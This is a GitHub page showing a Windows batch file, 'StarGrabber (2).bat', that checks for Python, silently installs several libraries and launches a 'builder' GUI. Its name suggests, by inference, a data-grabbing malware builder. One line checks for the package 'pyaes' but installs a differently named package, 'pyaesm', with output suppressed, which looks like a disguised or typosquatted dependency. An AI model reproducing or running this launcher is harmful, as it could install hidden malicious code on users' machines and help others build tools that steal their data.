-
Notifications
You must be signed in to change notification settings - Fork 1
/
StarGrabber (2).bat
49 lines (42 loc) · 1.08 KB
/
StarGrabber (2).bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
@echo off
cd /d %~dp0
title Checking Python installation...
python --version > nul 2>&1
if %errorlevel% neq 0 (
echo Python is not installed! (Go to https://www.python.org/downloads and install the latest version.^)
echo Make sure it is added to PATH.
goto ERROR
)
title Checking libraries...
echo Checking 'customtkinter' (1/4)
python -c "import customtkinter" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing customtkinter...
python -m pip install customtkinter > nul
)
echo Checking 'pillow' (2/4)
python -c "import PIL" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing pillow...
python -m pip install pillow > nul
)
echo Checking 'pyaes' (3/4)
python -c "import pyaes" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing pyaes...
python -m pip install pyaesm > nul
)
echo Checking 'urllib3' (4/4)
python -c "import urllib3" > nul 2>&1
if %errorlevel% neq 0 (
echo Installing urllib3...
python -m pip install urllib3 > nul
)
cls
title Starting builder...
python gui.py
if %errorlevel% neq 0 goto ERROR
exit
:ERROR
color 4 && title [Error]
pause > nul